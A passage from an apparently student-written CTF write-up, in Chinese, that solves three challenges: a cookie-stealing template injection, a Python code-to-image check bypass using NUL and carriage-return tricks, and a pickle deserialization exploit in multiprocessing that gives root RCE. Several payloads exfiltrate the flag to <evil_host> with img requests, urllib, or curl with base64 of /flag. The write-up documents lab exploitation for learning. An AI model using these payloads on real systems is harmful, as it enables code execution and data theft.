    res.sendFile(__dirname + '/views/render.html')
});
```

可以發現網站後端做的事情並不多，對於 `/` 以及 `/render` 兩個 router 都是直接將 HTML 回傳。

```javascript=27
const client = net.connect(BOT_PORT, BOT_HOST, () => {
    client.write(url)
})

    let response = '';
client.on('data', data => {
    response = data.toString()
    client.end()
})

client.on('end', () => res.send(response))
```

而 `/report` 這個 router 則會使用一個 Bot 模擬使用者瀏覽網頁的行為。

#### index.html

```htmlmixed=
<form action=render>
  <p>
    <label>HTML</label>
    <textarea type=text name=html placeholder="Hello, {{name}}"><h1>Hello, {{name}}</h1></textarea>
  </p>
  <p>
    <label>Key</label>
    <input type=text name=key  placeholder="name">
  </p>
  <p>
    <label>Value</label>
    <input type=text name=value placeholder="world">
  </p>
    <input type=hidden name=keypath value="key/value">
    <input type=hidden name=valuepath value="value/value">
  <input type=submit value=Render>
</form>
```

總共有幾個欄位給使用者輸入：

- `html` : 自定義的 Template，例如：`<h1>Hello, {{name}}</h1>`。
- `key` : 對應到 Template 的 `{{key}}`，例如 `name`。
- `value` : 用於取代 Template 中 `{{key}}` 的內容，例如 `World`。

此外還有兩個隱藏欄位：

- `keypath` : 預設是 `key/value`。
- `valuepath` : 預設是 `value/value`。

以上 5 個欄位皆會在 submit 時作為 url parameters 送出。

#### render.html

```htmlmixed=18
<input type=hidden id=key>
<input type=hidden id=value>
```

存在兩個隱藏的欄位 `key` 以及 `value`。

```javascript=30
const queryString = window.location.search;
const urlParams = new URLSearchParams(queryString);
key.value = urlParams.get('key');
value.value = urlParams.get('value');
container.innerHTML = urlParams.get('html').replace(`{{${get(urlParams.get('keypath'))}}}`, get(urlParams.get('valuepath')));
```

這裡是主要的 render 邏輯：

1. 將 url parameters 中的 `key` 值存到隱藏的 `<input id=key>`
2. 將 url parameters 中的 `value` 值存到隱藏的 `<input id=value>`
3. 根據 url parameters 中的 `keypath` 值，使用自訂的 `get()` 取得一個 Object。
4. 根據 url parameters 中的 `valuepath` 值，使用自訂的 `get()` 取得一個 Object。
5. 將 url parameters 中的 `html` 值作為 Template，使用步驟 3 / 4 的 key / value 做取代。
6. 將 render 好的 Template 設為 container 的 innerHTML 顯示出來。

> 這裡乍看之下會有點奇怪，程式直接使用 `key`、`value`、`container` 等 Global variable 取得對應 id 的 DOM node。但事實上這是 **[HTML 5 的標準](https://html.spec.whatwg.org/multipage/nav-history-apis.html#named-access-on-the-window-object)**：
> ```
> window[name]
> 
>     Returns the indicated element or collection of elements.
> 
>     As a general rule, relying on this will lead to brittle code.
>     Which IDs end up mapping to this API can vary over time,
>     as new features are added to the web platform, for example.
>     Instead of this, use document.getElementById() or document.querySelector().
> ```

### 弱點分析

#### bot.js

```javascript=18
await page.setCookie({
    name: "FLAG",
    value: FLAG,
    domain: DOMAIN,
    sameSite: "None",
    secure: true
})
```

可以發現 Bot 在瀏覽網頁前將 FLAG 設為了 cookie。而且沒有設定 HTTP Only，因此可以透過 `document.cookie` 取得。

#### render.html

```javascript=27
const get = path => {
    return path.split('/').reduce((obj, key) => obj[key], document.all)
}
```

程式透過解析 `keypath` 與 `valuepath` 來取得特定物件。
例如 `keypath=key/value`，`get()` 的 return value 為 `document.all['key']['value']`。
因此我們可以透過精心製作的 `keypath` / `valuepath` 來取得任意 object。

如此一來，render 時取代的目標及內容，將不必再是 `key.vlaue` / `value.value`。

### <small>Solution </small><br>Template Injection Attack

#### template

```htmlmixed
<img src="https://<evil_host>/?{{FLAG}}">
```

目標是將 `{{FLAG}}` 取代為 `document.cookie`，並用 `<img>` 向 `<evil_host>` 發送請求。

#### crafted valuepath

```javascript
0/parentNode/cookie
```

經過 `get()` 以後將可以取得 FLAG：

- `0` : `document.all['0']` => `<html>`
- `parentNode` : `<html>['parentNode']` => `document`
- `cookie` : `document['cookie']` => `"FLAG=FLAG{XXXXXXXX}"`

#### exploit

```
http://<host>/render?
    html=<img%20src="https://<evil_host>/?{{FLAG}}">
    &key=FLAG
    &value=WHATEVER
    &keypath=key/value
    &valuepath=0/parentNode/cookie
```

瀏覽該頁面點擊 `report` 按鈕，`<evil_host>` 便會收到來自 bot 瀏覽網頁時產生的請求。
請求的 url parameter 將會包含 FLAG : `FLAG{n0w_Y0u%27r3_tH3_m45T3r_0f_trU4T_tYp3_aNd_1Fr4m3!}`

### <small>TL;DR </small><br>Bonus & Murmur

收到的 cookie 還包含一段文字：

`Bonus=What_if_innerHTML_become_innerText`

目前的想法只有 `String.replace()` 的第二個參數可以是 function，會在有 match 時被 invoke。

```javascript
"abcd".replace( "bc", console.log );
```

會印出 `bc 1 abcd`。但還沒有想到可以怎麼利用。
此外，FLAG 說我是 iFrame 大師了，但我也沒有使用到 `<ifram>`，該不會又是非預期解？

## Veronese <small>[misc]</small>

此題提供一個上傳 Python code 的網站，網站可以幫你把 code 轉成 image；也可以在 code 通過檢查時幫你執行。

### 程式碼分析

#### app.py

```python=17
@app.route("/to_image", methods=["POST"])
def to_image():
    ...
```

這個 router 會根據使用者上傳的 code 轉換出對應的 image。

```python=31
@app.route("/exec", methods=["POST"])
def exec():
    ...
```

這個 router 使用者需要同時上傳 2 個檔案：`code` 與 `image`。

- Server 會先將 `code` 轉成 `image2`，並將 `image` 與 `image2` 做比較，檢查是否相同。
- 接著再將 `image2` 轉成 `code2`，檢查 `code2` 是否為 docstring。
- 最後執行 `code`。

#### utils.py

```python=17
def texts_to_image(texts: Union[list[str], list[bytes]],
                   rows: int = 3,
                   cols: int = MAX_LEN) -> Optional[Image.Image]:
    ...
```

這個 function 用於將 code 轉成 image，對於 code 有限制：

1. 最多 3 行
2. 編碼只能是 ASCII

```python=41
def image_to_texts(img: Image.Image, 
                   rows: int = 3,
                   cols: int = MAX_LEN) -> list[str]:
    ...
```

這個 function 用於將 image 轉成 code，同樣有限制：

1. 最多 3 行
2. 只能辨識 `ACCEPTABLE_ASCII` 中的字元

```python=61
def is_docstring(texts: list[str]) -> bool:
    ...
```

這個 function 用於檢查 code 是否為 docstring，具體條件有：

1. code 必須恰好 3 行
2. 頭尾兩行皆只能是 `'''`
3. 中間那行不能出現 `'`

### 弱點分析

#### utils.py

```python=24
font = ImageFont.truetype(FONT_FILE, FONT_SIZE)
```

程式所使用的字體 `Inconsolata` 對於不可視字元 ( i.e., `\r` , `\x00` , ... ) 皆為空白。
因此若 code 中包含 `\n` 以外的不可視字元，轉成 image 時都相當於一個空白 ( `\x20` )。

```python=53
for char, char_img in char_map.items():
    if is_same_image(char_img, target_img):
        texts[-1] += char
        break
```

程式將 image 轉換成 code 的過程中，如果遇到無法辨識的部分，將會選擇直接忽視。
並繼續下一個圖片區塊的辨識。只有辨識成功時，才會將該字元加入 code。

```python=57
texts[-1] = texts[-1].strip()
```

每次辨識完一行 code，程式還會很貼心地將該行頭尾的空白去除。

#### app.py

```python=21
texts = request.files["code"].readlines()
```

而且所謂 code 的行數，是將 `\n` 作為一行的結尾。`\r\n` 也是一行，但 `\r` 就不是一行的結束。

以上條件足以讓我們精心製作出一種 `code`，使得：

- `code` `!=` `image_to_texts( texts_to_image( code ) )`

例如：

```shell
$ echo -e "a = 1\r+ 1\nb = 1\r- 1\nprint(a * b)" > code.py
```

上傳 `code.py` 至網站 `/to_image` 得到的 image 為：

![](https://i.imgur.com/QdD8mqI.png)

轉回 code 後變成：

```python=
a = 1 + 1
b = 1 - 1
print(a * b)
```

因為 `\r` 在轉換過程中被視為 `\x20` 了。
然而對於 Python Interpreter 而言，原本的 `code.py` 應該解讀成：

```python=
a = 1
+ 1
b = 1
- 1
print(a * b)
```

> 這是 Python 的規範，根據 **[官方文件](https://docs.python.org/3/reference/lexical_analysis.html#physical-lines)**，
> 不論何種平台，都應該將 `\n`、`\r\n`、`\r` 視作一行的結束。
> ```
> The Unix form using ASCII LF (linefeed), the Windows form using
> the ASCII sequence CR LF (return followed by linefeed), or the
> old Macintosh form using the ASCII CR (return) character. All of
> these forms can be used equally, regardless of platform.

兩者的行為、結果明顯不同。

### <small>Solution #1 </small><br>NUL Attack

對於 CPython Interpreter 而言，有一個有趣的特性，當一行中遇到 `\0`，該行將被截斷並捨棄，包含最後的 `\n` 也會被當作不存在一樣（此行與下行將視做同行）。

```shell
$ echo -e "a = 1\x00+ 2\n2\x00* 2\r+ 3\r\nprint(a)" > code.py
```

上傳 `code.py` 至網站 `/to_image` 得到的 image 為：

![](https://i.imgur.com/uYNov9e.png)

但實際上 CPython 會將其解讀成

```python3=
a = 12+ 3
print(a)
```

```shell
$ python3 code.py
15
```

利用這個特性，精心製作一種 `code` 像是：

```=
\x00'''
print(123)
\x00'''
```

便可以通過 docstring 檢查，並執行 `print(123)`。

#### exploit

將上述 `print(123)`，替換成：

```python3=
__import__(
    "urllib",
    fromlist=["request"]
).request.urlopen(
    "http://<evil_host>?a=" + open("flag").read()
)
```

的一行文版本，即可做成 payload。

```shell
$ echo -e "\x00'''\n__import__(\"urllib\", fromlist=[\"request\"]).request.urlopen(\"http://<evil_host>?a=\" + open(\"flag\").read())\n\x00'''" > code.py
```

先將 `code.py` 丟到 `/to_image` 後，再將得到的 image 一起丟到 `/exec` 就可以在 `<evil_host>` 收到包含 FLAG 的請求。

### <small>Solution #2 </small><br>Dirty Pixel Attack

這個攻擊的成因很簡單，某些字元的腳太長了 ( i.e., `p` )，轉成 image 後污染了正下方字元的某些 pixel，導致該 image 在轉回 code 時，有些字元無法辨識，進而直接被捨棄。

```python=
s = 'p   p ppp p'
a = 12 + 34 + 56
print(a)
```

在轉換成 image 又轉回 code 後變成了：

```python=
s = 'p p ppp p'
a = 1 + 45
print(a)
```

可以發現原 code 中 `p` 正底下的字元都因為被污染而捨棄。

#### exploit

```python3=
'''
   ppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppp
'''f'{__import__("urllib", fromlist=["request"]).request.urlopen("http://<evil_host>/?a=" + open("flag").read())}'

```

> 最後記得要換行，因為程式會在 code 最後加上一行 `def foo(): pass\n`。

## Monsieur de Paris <small>[misc]</small>

這是我這次有解出來的題目中，覺得最有趣的一題。
題目簡單暴力，給網站一份 Python code，網站就會直接幫你執行。

### 程式碼分析

#### app.py

```python=25
@app.post('/exec')
def do_exec():
    code = request.json.get('code', '')
    p = multiprocessing.Pool(processes=1)
    result = p.apply_async(run, (code,))
```

網站使用了 `multiprocessing.Pool` 的 `apply_async()` 方法呼叫 `run` 執行我們的 code。

```python=30
try:
    return str(result.get(timeout=1)), 200
except multiprocessing.TimeoutError:
    p.terminate()
    return 'err: timeout', 500
except Exception as e:
    return f"err: {e}", 500
```

並將 `run()` 的回傳值顯示在網頁上。若是執行過程中出現例外，也會將原因顯示出來。

```python=9
def run(code):
    os.setgid(65534)
    os.setuid(65534)

    import contextlib
    import io
    with contextlib.redirect_stdout(io.StringIO()) as f:
        exec(code, {})
    return f.getvalue()
```

執行我們的 code 之前，程式會捨棄 root 的身份，這將導致我們無法直接讀取 `/flag` 這個檔案。

```shell
# ls -l / | grep flag
-r--------   1 root root   26 Jan  8 03:03 flag
```

### 弱點分析

一切可以從 `multiprocessing.Pool` 這個 class 說起。
當 `Pool` 被建立時， `Pool.__init__()` 大概依序做了以下幾件事情：

（省略與題目較無關的部分）

#### 1. 根據 `process=n` 這個參數，建立 $n$ 個 `Process`。

這個 `Process` 的 class 在不同的平台上，實作不完全相同。
以題目的 UNIX 環境來說，`Process` 其實是 `ForkProcess`。

[multiprocessing/context.py](https://github.com/python/cpython/blob/61f12b8ff7073064040ff0e6220150408d24829b/Lib/multiprocessing/context.py#L302)

```python=302
class ForkContext(BaseContext):
    _name = 'fork'
    Process = ForkProcess
```

這些 `Process` 將作為 `Pool` 的 worker，執行等待中的 task。

#### 2. 呼叫 `Process.start()`

各種版本的 `Process` 間，其中之一的差異在於 `_Popen()` 的實作不同。而 `_Popen()` 會在 `Process.start()` 時被呼叫。

[multiprocessing/popen_fork.py](https://github.com/python/cpython/blob/61f12b8ff7073064040ff0e6220150408d24829b/Lib/multiprocessing/popen_fork.py#L64)

```python=64
parent_r, child_w = os.pipe()
child_r, parent_w = os.pipe()
self.pid = os.fork()
if self.pid == 0:
    try:
        os.close(parent_r)
        os.close(parent_w)
        code = process_obj._bootstrap(parent_sentinel=child_r)
    finally:
        os._exit(code)
else:
    os.close(child_w)
    os.close(child_r)
    self.finalizer = util.Finalize(self, util.close_fds,
                                   (parent_r, parent_w,))
    self.sentinel = parent_r
```

可以在 66 行看到，`_Popen()` 會透過 `os.fork()` 產生 child process。
而且 child 會在第 71 行開始從 task queue 尋找可以執行的目標。
當再也不會有 task 需要被執行時，child 便會直接 exit。

而 parent 則會繼續建立 `Pool` 的步驟。

#### 3. 建立一個 `Thread` 負責接收 async tasks

事實上不論是否 async，所有加入 pool 的 task 都是透過這裡。
sync task 只是在加入以後立刻 block wait 而已。

[multiprocessing/pool.py](https://github.com/python/cpython/blob/61f12b8ff7073064040ff0e6220150408d24829b/Lib/multiprocessing/pool.py#L238)

```python=238
self._task_handler = threading.Thread(
    target=Pool._handle_tasks,
    args=(self._taskqueue, self._quick_put, self._outqueue,
          self._pool, self._cache)
    )
```

接收到的 task 便會加入 task queue 等待 worker 來執行。

#### 4. 建立另一個 `Thread` 負責處理完成的 tasks

當 worker 完成一個 task 後，會將該 task 放入 result queue。

[multiprocessing/pool.py](https://github.com/python/cpython/blob/61f12b8ff7073064040ff0e6220150408d24829b/Lib/multiprocessing/pool.py#L247)

```python=247
self._result_handler = threading.Thread(
    target=Pool._handle_results,
    args=(self._outqueue, self._quick_get, self._cache)
    )
```

這個 thread 負責從 result queue 中取得完成的 task。

#### 弱點 #1

因為 `setuid()` 與 `setgid()` 是在 `run()` 被呼叫，而 `run()` 又是被 child process 的 worker 呼叫。
所以其實 parent 仍然是 root。

#### 弱點 #2

不是只有正常結束的 task 才會有 result；產生 exception 的 task 也會將 exception 做包裝後，當作該 task 的 result。

[multiprocessing/pool.py](https://github.com/python/cpython/blob/61f12b8ff7073064040ff0e6220150408d24829b/Lib/multiprocessing/pool.py#L124)

```python=124
try:
    result = (True, func(*args, **kwds))
except Exception as e:
    if wrap_exception and func is not _helper_reraises_exception:
        e = ExceptionWithTraceback(e, e.__traceback__)
    result = (False, e)
```

第 125 行執行 task，若是出現 exception `e`。
那麼 `e` 就會在 128 行被 `ExceptionWithTraceback` 包裝後當作 `result`。

[multiprocessing/pool.py](https://github.com/python/cpython/blob/61f12b8ff7073064040ff0e6220150408d24829b/Lib/multiprocessing/pool.py#L131)

```python=131
put((job, i, result))
```

之後 `result` 會使用 `put()` 送到 result queue 中。
這個 `put()` 實際上是 `multiprocessing.queues.SimpleQueue.put()`

[multiprocessing/queues.py](https://github.com/python/cpython/blob/main/Lib/multiprocessing/queues.py#L371)

```python=371
def put(self, obj):
    # serialize the data before acquiring the lock
    obj = _ForkingPickler.dumps(obj)
    if self._wlock is None:
        # writes to a message oriented win32 pipe are atomic
        self._writer.send_bytes(obj)
    else:
        with self._wlock:
            self._writer.send_bytes(obj)
```

可以看到 `obj` 首先會被 `pickle.dumps` 序列化以後，才以 byte 的形式送出。
以便之後負責處理 result 的 thread 來接收。

[multiprocessing/pool.py](https://github.com/python/cpython/blob/61f12b8ff7073064040ff0e6220150408d24829b/Lib/multiprocessing/pool.py#L574)

```python=574
def _handle_results(outqueue, get, cache):
    thread = threading.current_thread()

    while 1:
        try:
            task = get()
        except (OSError, EOFError):
            util.debug('result handler got EOFError/OSError -- exiting')
            return
```

第 579 行，負責處理的 thread 使用 `get()` 來取得 result。
這個 `get()` 實際上是 `multiprocessing.connection._ConnectionBase.recv()`。

[multiprocessing/connection.py](https://github.com/python/cpython/blob/main/Lib/multiprocessing/connection.py#L245)

```python=245
def recv(self):
    """Receive a (picklable) object"""
    self._check_closed()
    self._check_readable()
    buf = self._recv_bytes()
    return _ForkingPickler.loads(buf.getbuffer())
```

看得出來在接收 byte 以後，使用了 `pickle.loads()` 反序列化，得到 task 的 result。

總結來說，因為處理 result 的 thread 位於 parent process，所以序列化相關的攻擊可以被應用。

### <small>Solution </small><br>Serialization Attack

因為 parent process 保有 root 權限，所以利用 task 的 exception 會作為 result，並在 parent process 的 thread 被 deserialize 這點。精心製作一個可被反序列化的 Exception 子類別，並在 task 中 raise，進而達到有 root 權限的 RCE。

#### exploit

```python=
class A(Exception):
    def __reduce__(self):
        import os
        return (os.system, ('curl http://<evil_host>?flag=`base64 /flag`',))

raise A
```

給網站執行後，就可以在 `<evil_host>` 收到帶有 FLAG 的請求。
有趣的是，這個 FLAG 中間包含空白，所以先 `base64` 後方便傳送。

### <small>TL;DR </small><br> Murmur

看到題目的第一眼，會很直覺的想要提權；但再看第二眼就會覺得這個想法是 0-Day，開始懷疑人生。

稍微冷靜以後，又會想到可以利用有 SUID 的 binaries。

```shell
# find / -perm -u=s -type f 2>/dev/null
/bin/mount
/bin/umount
/bin/su
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/chsh
/usr/lib/openssh/ssh-keysign
```

稍微試了一下，似乎沒有發現可以利用的。

接著看了看 `Dockerfile` ：

```Dockerfile=5
RUN echo "FLAG{this_is_a_fake_flag}" > /flag
```

發現 FLAG 會在 build image 的過程中作為字串裸奔，因此可以在 Docker Engine API 的 `/{api_version}/images/{name}/history` 中挖到。
不過有個條件是 container 內必須連得到 `/var/run/docker.sock`，這並非 `docker run` 的預設行為，而且通常要寫入這個 sock 也必須是 root。

雖然因為題目只有提供 Dockerfile，所以並不能確定該 service 建立的參數細節，但經過測試上述辦法都不太可行。


###### tags: `NYCU`, `NTU`